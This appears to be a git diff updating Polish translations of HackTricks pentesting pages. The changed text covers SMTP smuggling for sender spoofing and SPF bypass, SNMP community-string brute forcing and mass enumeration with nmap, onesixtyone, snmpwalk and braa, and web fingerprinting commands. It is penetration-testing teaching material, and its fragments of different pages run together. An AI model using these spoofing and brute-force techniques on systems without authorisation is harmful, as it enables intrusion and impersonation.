Możesz znaleźć **przykłady** na to, jak **wykorzystać niektóre podatności RCE**, aby uzyskać odwrócone powłoki języków skryptowych i wykonywać pliki binarne z pamięci w [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
|
|
@ -6,7 +6,7 @@ Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -17,20 +17,20 @@ Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
|
||||
## Podstawowe informacje
|
||||
|
||||
Ten typ podatności został [**pierwotnie odkryty w tym poście**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/), w którym wyjaśniono, że możliwe jest **wykorzystanie różnic w interpretacji protokołu SMTP** podczas finalizowania wiadomości e-mail, co pozwala atakującemu na przemycenie dodatkowych e-maili w treści legalnego, co umożliwia podszywanie się pod innych użytkowników dotkniętej domeny (takich jak admin@outlook.com), omijając zabezpieczenia takie jak SPF.
|
||||
Ten typ podatności został [**pierwotnie odkryty w tym poście**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/), w którym wyjaśniono, że możliwe jest **wykorzystanie różnic w interpretacji protokołu SMTP** podczas finalizowania e-maila, co pozwala atakującemu na przemycenie dodatkowych e-maili w treści legalnego, umożliwiając podszywanie się pod innych użytkowników dotkniętej domeny (takich jak admin@outlook.com), omijając zabezpieczenia takie jak SPF.
|
||||
|
||||
### Dlaczego
|
||||
|
||||
Dzieje się tak, ponieważ w protokole SMTP **dane wiadomości** do wysłania w e-mailu są kontrolowane przez użytkownika (atakującego), który może wysłać specjalnie przygotowane dane, wykorzystując różnice w parserach, które przemycą dodatkowe e-maile do odbiorcy. Zobacz ten ilustrowany przykład z oryginalnego posta:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (8) (1) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
|
||||
|
||||
### Jak
|
||||
|
||||
Aby wykorzystać tę podatność, atakujący musi wysłać dane, które **serwer SMTP wychodzący myśli, że to tylko 1 e-mail, ale serwer SMTP przychodzący myśli, że jest kilka e-maili**.
|
||||
|
||||
Badacze odkryli, że różne **serwery przychodzące traktują różne znaki jako koniec danych** wiadomości e-mail, których serwery wychodzące nie traktują.\
|
||||
Na przykład, regularnym końcem danych jest `\r\n.\r`. Ale jeśli serwer SMTP przychodzący również obsługuje `\n.`, atakujący może po prostu dodać **te dane w swoim e-mailu i zacząć wskazywać polecenia SMTP** nowych e-maili, aby je przemycić, tak jak w poprzednim obrazie.
|
||||
Na przykład, regularnym końcem danych jest `\r\n.\r`. Ale jeśli serwer SMTP przychodzący obsługuje również `\n.`, atakujący może po prostu dodać **te dane w swoim e-mailu i zacząć wskazywać polecenia SMTP** nowych e-maili, aby je przemycić, tak jak w poprzednim obrazie.
|
||||
|
||||
Oczywiście, to może działać tylko wtedy, gdy **serwer SMTP wychodzący nie traktuje również tych danych** jako końca danych wiadomości, ponieważ w takim przypadku zobaczy 2 e-maile zamiast tylko 1, więc na końcu to jest desynchronizacja, która jest wykorzystywana w tej podatności.
|
||||
|
||||
|
@ -39,7 +39,7 @@ Potencjalne dane desynchronizacji:
|
|||
* `\n.`
|
||||
* `\n.\r`
|
||||
|
||||
Zauważ również, że SPF jest omijany, ponieważ jeśli przemycisz e-mail z `admin@outlook.com` z e-maila `user@outlook.com`, **nadawca nadal jest `outlook.com`.**
|
||||
Zauważ również, że SPF jest omijany, ponieważ jeśli przemycisz e-mail od `admin@outlook.com` z e-maila od `user@outlook.com`, **nadawca nadal jest `outlook.com`.**
|
||||
|
||||
## **Referencje**
|
||||
|
||||
|
@ -51,7 +51,7 @@ Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
|
||||
|
@ -48,7 +48,7 @@ Ponadto, dostawcy mają swobodę tworzenia prywatnych gałęzi. W ramach tych ga
|
|||
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
|
||||
|
||||
Możesz **nawigować** przez **drzewo OID** w sieci tutaj: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) lub **zobaczyć, co oznacza OID** (jak `1.3.6.1.2.1.1`) uzyskując dostęp do [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
|
||||
Istnieją **znane OIDs**, takie jak te w [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1), które odnoszą się do zmiennych Simple Network Management Protocol (SNMP) zdefiniowanych w MIB-2. A z **OID-ów zależnych od tego** możesz uzyskać interesujące dane o hoście (dane systemowe, dane sieciowe, dane procesów...)
|
||||
Istnieją **znane OIDs**, takie jak te w [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1), które odnoszą się do zmiennych Simple Network Management Protocol (SNMP) zdefiniowanych w MIB-2. A z **OIDs zależnych od tego** możesz uzyskać interesujące dane o hoście (dane systemowe, dane sieciowe, dane procesów...)
|
||||
|
||||
### **Przykład OID**
|
||||
|
||||
|
@ -58,24 +58,24 @@ Istnieją **znane OIDs**, takie jak te w [1.3.6.1.2.1](http://oid-info.com/get/1
|
|||
|
||||
Oto analiza tego adresu.
|
||||
|
||||
* 1 – nazywa się to ISO i ustala, że jest to OID. Dlatego wszystkie OID-y zaczynają się od „1”
|
||||
* 1 – nazywa się to ISO i ustala, że jest to OID. Dlatego wszystkie OIDs zaczynają się od „1”
|
||||
* 3 – nazywa się to ORG i służy do określenia organizacji, która zbudowała urządzenie.
|
||||
* 6 – to dod lub Departament Obrony, który jest organizacją, która jako pierwsza ustanowiła Internet.
|
||||
* 1 – to wartość internetu, aby oznaczyć, że wszystkie komunikacje będą odbywać się przez Internet.
|
||||
* 4 – ta wartość określa, że to urządzenie jest produkowane przez prywatną organizację, a nie rządową.
|
||||
* 1 – ta wartość oznacza, że urządzenie jest produkowane przez przedsiębiorstwo lub podmiot gospodarczy.
|
||||
|
||||
Te pierwsze sześć wartości zazwyczaj są takie same dla wszystkich urządzeń i dają podstawowe informacje o nich. Ta sekwencja liczb będzie taka sama dla wszystkich OID-ów, z wyjątkiem sytuacji, gdy urządzenie jest produkowane przez rząd.
|
||||
Te pierwsze sześć wartości zazwyczaj są takie same dla wszystkich urządzeń i dają podstawowe informacje o nich. Ta sekwencja liczb będzie taka sama dla wszystkich OIDs, z wyjątkiem sytuacji, gdy urządzenie jest produkowane przez rząd.
|
||||
|
||||
Przechodząc do następnego zestawu liczb.
|
||||
|
||||
* 1452 – podaje nazwę organizacji, która wyprodukowała to urządzenie.
|
||||
* 1 – wyjaśnia typ urządzenia. W tym przypadku jest to budzik.
|
||||
* 2 – określa, że to urządzenie jest jednostką terminalową zdalnego dostępu.
|
||||
* 2 – określa, że to urządzenie jest jednostką terminalową zdalną.
|
||||
|
||||
Pozostałe wartości podają szczegółowe informacje o urządzeniu.
|
||||
|
||||
* 5 – oznacza punkt alarmowy.
|
||||
* 5 – oznacza punkt alarmowy dyskretny.
|
||||
* 1 – konkretny punkt w urządzeniu
|
||||
* 3 – port
|
||||
* 21 – adres portu
|
||||
|
@ -95,13 +95,13 @@ Istnieją 2 ważne wersje SNMP:
|
|||
Jak wspomniano wcześniej, **aby uzyskać dostęp do informacji zapisanych w MIB, musisz znać ciąg społeczności w wersjach 1 i 2/2c oraz dane uwierzytelniające w wersji 3.**\
|
||||
Istnieją **2 typy ciągów społeczności**:
|
||||
|
||||
* **`public`** głównie **tylko do odczytu**
|
||||
* **`public`** głównie **funkcje tylko do odczytu**
|
||||
* **`private`** **Odczyt/Zapis** w ogólności
|
||||
|
||||
Zauważ, że **możliwość zapisu OID zależy od używanego ciągu społeczności**, więc **nawet** jeśli znajdziesz, że „**public**” jest używane, możesz być w stanie **zapisać niektóre wartości.** Mogą również istnieć obiekty, które są **zawsze "tylko do odczytu".**\
|
||||
Zauważ, że **możliwość zapisu OID zależy od używanego ciągu społeczności**, więc **nawet** jeśli znajdziesz, że „**public**” jest używany, możesz być w stanie **zapisać niektóre wartości.** Mogą również istnieć obiekty, które są **zawsze "tylko do odczytu".**\
|
||||
Jeśli spróbujesz **zapisać** obiekt, otrzymasz błąd **`noSuchName` lub `readOnly`**.\*\*.\*\*
|
||||
|
||||
W wersjach 1 i 2/2c, jeśli użyjesz **złego** ciągu społeczności, serwer nie **odpowie**. Więc, jeśli odpowiada, użyto **ważnego ciągu społeczności**.
|
||||
W wersjach 1 i 2/2c, jeśli użyjesz **złego** ciągu społeczności, serwer nie **odpowie**. Więc jeśli odpowiada, użyto **ważnego ciągu społeczności**.
|
||||
|
||||
## Porty
|
||||
|
||||
|
@ -109,7 +109,7 @@ W wersjach 1 i 2/2c, jeśli użyjesz **złego** ciągu społeczności, serwer ni
|
|||
|
||||
* Agent SNMP odbiera żądania na porcie UDP **161**.
|
||||
* Menedżer odbiera powiadomienia ([Pułapki](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) i [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) na porcie **162**.
|
||||
* Gdy używane jest z [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) lub [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), żądania są odbierane na porcie **10161**, a powiadomienia są wysyłane na port **10162**.
|
||||
* Gdy używany jest z [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) lub [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), żądania są odbierane na porcie **10161**, a powiadomienia są wysyłane na port **10162**.
|
||||
|
||||
## Atak Brute-Force na Ciąg Społeczności (v1 i v2c)
|
||||
|
||||
|
@ -140,7 +140,7 @@ nmap --script "snmp* and not snmp-brute" <target>
|
|||
|
||||
braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
|
||||
```
|
||||
Dzięki rozszerzonym zapytaniom (download-mibs) możliwe jest uzyskanie jeszcze większej ilości informacji o systemie za pomocą następującego polecenia:
|
||||
Dzięki rozszerzonym zapytaniom (download-mibs) możliwe jest uzyskanie jeszcze więcej informacji o systemie za pomocą następującego polecenia:
|
||||
```bash
|
||||
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||
```
|
||||
|
@ -161,7 +161,7 @@ Dwa główne ustawienia umożliwiają dostęp do **pełnego drzewa OID**, które
|
|||
* **`rwcommunity`** dla adresów **IPv4**, oraz
|
||||
* **`rwcommunity6`** dla adresów **IPv6**.
|
||||
|
||||
Obie komendy wymagają **ciągu społeczności** oraz odpowiedniego adresu IP, oferując pełny dostęp niezależnie od pochodzenia żądania.
|
||||
Oba polecenia wymagają **ciągu społeczności** oraz odpowiedniego adresu IP, oferując pełny dostęp niezależnie od pochodzenia żądania.
|
||||
|
||||
### Parametry SNMP dla Microsoft Windows
|
||||
|
||||
|
@ -193,9 +193,9 @@ Jeśli masz **ciąg**, który pozwala na **zapisywanie wartości** w usłudze SN
|
|||
|
||||
## **Masowe SNMP**
|
||||
|
||||
[Braa ](https://github.com/mteg/braa) to masowy skaner SNMP. Zamierzonym zastosowaniem takiego narzędzia jest oczywiście wykonywanie zapytań SNMP – ale w przeciwieństwie do snmpwalk z net-snmp, jest w stanie zapytać dziesiątki lub setki hostów jednocześnie, w jednym procesie. Dzięki temu zużywa bardzo mało zasobów systemowych i skanuje BARDZO szybko.
|
||||
[Braa ](https://github.com/mteg/braa) to masowy skaner SNMP. Zamierzonym zastosowaniem tego narzędzia jest, oczywiście, wykonywanie zapytań SNMP – ale w przeciwieństwie do snmpwalk z net-snmp, jest w stanie zapytać dziesiątki lub setki hostów jednocześnie, w jednym procesie. Dzięki temu zużywa bardzo mało zasobów systemowych i skanuje BARDZO szybko.
|
||||
|
||||
Braa implementuje własny stos snmp, więc nie potrzebuje żadnych bibliotek SNMP, takich jak net-snmp.
|
||||
Braa implementuje SWOJĄ własną stos SNMP, więc nie potrzebuje żadnych bibliotek SNMP, takich jak net-snmp.
|
||||
|
||||
**Składnia:** braa \[Ciąg społeczności]@\[IP serwera SNMP]:\[iso id]
|
||||
```bash
|
||||
|
@ -203,17 +203,17 @@ braa ignite123@192.168.1.125:.1.3.6.*
|
|||
```
|
||||
To może wyodrębnić wiele MB informacji, których nie możesz przetworzyć ręcznie.
|
||||
|
||||
Zatem poszukajmy najbardziej interesujących informacji (z [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)):
|
||||
Zatem, poszukajmy najbardziej interesujących informacji (z [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)):
|
||||
|
||||
### **Urządzenia**
|
||||
|
||||
Proces zaczyna się od wyodrębnienia **sysDesc MIB data** (1.3.6.1.2.1.1.1.0) z każdego pliku, aby zidentyfikować urządzenia. Osiąga się to za pomocą **grep command**:
|
||||
Proces zaczyna się od wyodrębnienia **danych MIB sysDesc** (1.3.6.1.2.1.1.1.0) z każdego pliku, aby zidentyfikować urządzenia. Osiąga się to za pomocą **polecenia grep**:
|
||||
```bash
|
||||
grep ".1.3.6.1.2.1.1.1.0" *.snmp
|
||||
```
|
||||
### **Zidentyfikuj Prywatny Ciąg**
|
||||
### **Zidentyfikuj Prywatny String**
|
||||
|
||||
Krytycznym krokiem jest zidentyfikowanie **prywatnego ciągu społeczności** używanego przez organizacje, szczególnie na routerach Cisco IOS. Ciąg ten umożliwia wydobycie **aktualnych konfiguracji** z routerów. Identyfikacja często opiera się na analizie danych SNMP Trap w poszukiwaniu słowa "trap" za pomocą **grep command**:
|
||||
Krytycznym krokiem jest zidentyfikowanie **prywatnego stringu społeczności** używanego przez organizacje, szczególnie na routerach Cisco IOS. Ten string umożliwia wydobycie **aktualnych konfiguracji** z routerów. Identyfikacja często opiera się na analizie danych SNMP Trap w poszukiwaniu słowa "trap" za pomocą **grep command**:
|
||||
```bash
|
||||
grep -i "trap" *.snmp
|
||||
```
|
||||
|
@ -231,7 +231,7 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
|||
```
|
||||
## Modyfikowanie wartości SNMP
|
||||
|
||||
Możesz użyć _**NetScanTools**_, aby **zmodyfikować wartości**. Musisz znać **prywatny ciąg**, aby to zrobić.
|
||||
Możesz użyć _**NetScanTools**_ do **modyfikacji wartości**. Będziesz musiał znać **prywatny ciąg**, aby to zrobić.
|
||||
|
||||
## Fałszowanie
|
||||
|
||||
|
@ -243,9 +243,9 @@ Jeśli istnieje ACL, który pozwala tylko niektórym adresom IP na zapytania do
|
|||
* snmpd.conf
|
||||
* snmp-config.xml
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli jesteś zainteresowany **karierą w hakingu** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
||||
Jeśli jesteś zainteresowany **karierą w hackingu** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -295,7 +295,7 @@ Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,9 +15,9 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_biegła znajomość języka polskiego w mowie i piśmie wymagana_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -52,7 +52,7 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
|||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli jesteś zainteresowany **karierą w hackingu** i chcesz zhakować to, co nie do zhakowania - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
|
||||
|
@ -68,7 +68,7 @@ Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -10,12 +10,12 @@ Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli jesteś zainteresowany **karierą w hacking** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
||||
|
||||
|
@ -52,20 +52,20 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
* [ ] Jakieś **specjalistyczne skanery** do uruchomienia (jak wpscan)?
|
||||
* [ ] Uruchom **ogólne skanery**. Nigdy nie wiesz, czy znajdą coś interesującego.
|
||||
* [ ] Zacznij od **wstępnych kontroli**: **robots**, **sitemap**, **błąd 404** i **skanowanie SSL/TLS** (jeśli HTTPS).
|
||||
* [ ] Zacznij **spiderować** stronę internetową: Czas na **znalezienie** wszystkich możliwych **plików, folderów** i **parametrów używanych.** Sprawdź również **specjalne znaleziska**.
|
||||
* [ ] _Zauważ, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spiderowania, powinien być spiderowany._
|
||||
* [ ] **Brute-Forcing katalogów**: Spróbuj brute force wszystkich odkrytych folderów w poszukiwaniu nowych **plików** i **katalogów**.
|
||||
* [ ] _Zauważ, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spiderowania, powinien być Brute-Forced._
|
||||
* [ ] Zacznij **spidering** strony internetowej: Czas na **znalezienie** wszystkich możliwych **plików, folderów** i **parametrów używanych.** Sprawdź również **specjalne znaleziska**.
|
||||
* [ ] _Zauważ, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spideringu, powinien być on spiderowany._
|
||||
* [ ] **Brute-Forcing katalogów**: Spróbuj przeprowadzić brute force na wszystkich odkrytych folderach w poszukiwaniu nowych **plików** i **katalogów**.
|
||||
* [ ] _Zauważ, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spideringu, powinien być on Brute-Forced._
|
||||
* [ ] **Sprawdzanie kopii zapasowych**: Sprawdź, czy możesz znaleźć **kopie zapasowe** **odkrytych plików**, dodając powszechne rozszerzenia kopii zapasowych.
|
||||
* [ ] **Brute-Force parametrów**: Spróbuj **znaleźć ukryte parametry**.
|
||||
* [ ] **Brute-Force parametry**: Spróbuj **znaleźć ukryte parametry**.
|
||||
* [ ] Gdy już **zidentyfikujesz** wszystkie możliwe **punkty końcowe** akceptujące **wejście użytkownika**, sprawdź wszelkiego rodzaju **luki** związane z tym.
|
||||
* [ ] [Postępuj zgodnie z tą listą kontrolną](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## Server Version (Vulnerable?)
|
||||
## Wersja serwera (Vulnerable?)
|
||||
|
||||
### Identify
|
||||
### Identyfikacja
|
||||
|
||||
Sprawdź, czy istnieją **znane luki** w wersji serwera **działającego**.\
|
||||
Sprawdź, czy istnieją **znane luki** dla wersji serwera **działającej**.\
|
||||
**Nagłówki HTTP i ciasteczka odpowiedzi** mogą być bardzo przydatne do **identyfikacji** **technologii** i/lub **wersji** używanej. **Skanowanie Nmap** może zidentyfikować wersję serwera, ale mogą być również przydatne narzędzia [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)lub [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
|
@ -75,15 +75,15 @@ webanalyze -host https://google.com -crawl 2
|
|||
```
|
||||
Search **for** [**vulnerabilities of the web application** **version**](../../generic-methodologies-and-resources/search-exploits.md)
|
||||
|
||||
### **Sprawdź, czy istnieje jakiś WAF**
|
||||
### **Check if any WAF**
|
||||
|
||||
* [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
|
||||
* [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
|
||||
* [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
|
||||
|
||||
### Sztuczki technologii webowych
|
||||
### Web tech tricks
|
||||
|
||||
Kilka **sztuczek** do **znajdowania luk** w różnych znanych **technologiach**:
|
||||
Some **tricks** for **finding vulnerabilities** in different well known **technologies** being used:
|
||||
|
||||
* [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
||||
* [**Apache**](apache.md)
|
||||
|
@ -105,7 +105,7 @@ Kilka **sztuczek** do **znajdowania luk** w różnych znanych **technologiach**:
|
|||
* [**Laravel**](laravel.md)
|
||||
* [**Moodle**](moodle.md)
|
||||
* [**Nginx**](nginx.md)
|
||||
* [**PHP (php ma wiele interesujących sztuczek, które mogą być wykorzystane)**](php-tricks-esp/)
|
||||
* [**PHP (php has a lot of interesting tricks that could be exploited)**](php-tricks-esp/)
|
||||
* [**Python**](python.md)
|
||||
* [**Spring Actuators**](spring-actuators.md)
|
||||
* [**Symphony**](symphony.md)
|
||||
|
@ -115,29 +115,29 @@ Kilka **sztuczek** do **znajdowania luk** w różnych znanych **technologiach**:
|
|||
* [**WebDav**](put-method-webdav.md)
|
||||
* [**Werkzeug**](werkzeug.md)
|
||||
* [**Wordpress**](wordpress.md)
|
||||
* [**Electron Desktop (XSS do RCE)**](electron-desktop-apps/)
|
||||
* [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
|
||||
|
||||
_Pamiętaj, że **ta sama domena** może używać **różnych technologii** w różnych **portach**, **folderach** i **subdomenach**._\
|
||||
Jeśli aplikacja webowa korzysta z jakiejkolwiek znanej **technologii/platformy wymienionej wcześniej** lub **jakiejkolwiek innej**, nie zapomnij **poszukać w Internecie** nowych sztuczek (i daj mi znać!).
|
||||
|
||||
### Przegląd kodu źródłowego
|
||||
### Source Code Review
|
||||
|
||||
Jeśli **kod źródłowy** aplikacji jest dostępny na **github**, oprócz przeprowadzenia **własnego testu White box** aplikacji, istnieje **kilka informacji**, które mogą być **przydatne** dla bieżącego **testowania Black-Box**:
|
||||
If the **source code** of the application is available in **github**, apart of performing by **your own a White box test** of the application there is **some information** that could be **useful** for the current **Black-Box testing**:
|
||||
|
||||
* Czy istnieje plik **Change-log lub Readme lub Version** lub cokolwiek z **informacjami o wersji dostępnymi** przez sieć?
|
||||
* Jak i gdzie są przechowywane **dane uwierzytelniające**? Czy istnieje jakiś (dostępny?) **plik** z danymi uwierzytelniającymi (nazwy użytkowników lub hasła)?
|
||||
* Czy **hasła** są w **czystym tekście**, **szyfrowane** czy jaki **algorytm haszujący** jest używany?
|
||||
* Czy używa jakiegoś **klucza głównego** do szyfrowania czegoś? Jaki **algorytm** jest używany?
|
||||
* Czy możesz **uzyskać dostęp do któregokolwiek z tych plików**, wykorzystując jakąś lukę?
|
||||
